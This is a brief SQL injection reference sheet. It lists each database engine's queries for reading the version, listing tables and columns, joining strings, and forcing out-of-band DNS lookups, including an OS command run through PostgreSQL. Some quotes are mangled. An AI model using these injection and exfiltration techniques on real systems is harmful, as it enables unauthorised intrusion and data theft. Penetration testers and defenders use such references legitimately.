Database Enumeration

Introduction

Once SQL injection has been identified, the next step is to enumerate the underlying database engine. Unfortunately, each database engine uses its own syntax for metadata, which makes this process highly engine-dependent.

Database Version

Database	Version Info
Oracle	SELECT banner FROM v$version SELECT version FROM v$instance
Microsoft	SELECT @@version
PostgreSQL	SELECT version()
MySQL	SELECT @@version

Database Contents

Listing tables and the columns they contain:

Database	Contents Info
Oracle	SELECT * FROM all_tables SELECT * FROM all_tab_columns WHERE table_name = 'Table Name'
Microsoft	SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'Table Name'
PostgreSQL	SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'Table Name'
MySQL	SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'Table Name'

String Concatenation

Database	Concatenation
Oracle	’a’||‘b’
Microsoft	’a’+‘b’
PostgreSQL	’a’||‘b’
MySQL	’a’ ‘b’ (space) or CONCAT('a','b')

DNS Lookups

Database	Lookup Syntax
Oracle	SELECT UTL_INADDR.get_host_address('domain') - requires elevated privileges
Microsoft	exec master..xp_dirtree '//domain/a'
PostgreSQL	copy (SELECT '') to program 'nslookup domain
MySQL	These work only on Windows LOAD_FILE('\\\\domain\\a') SELECT ... INTO OUTFILE '\\\\domain\a'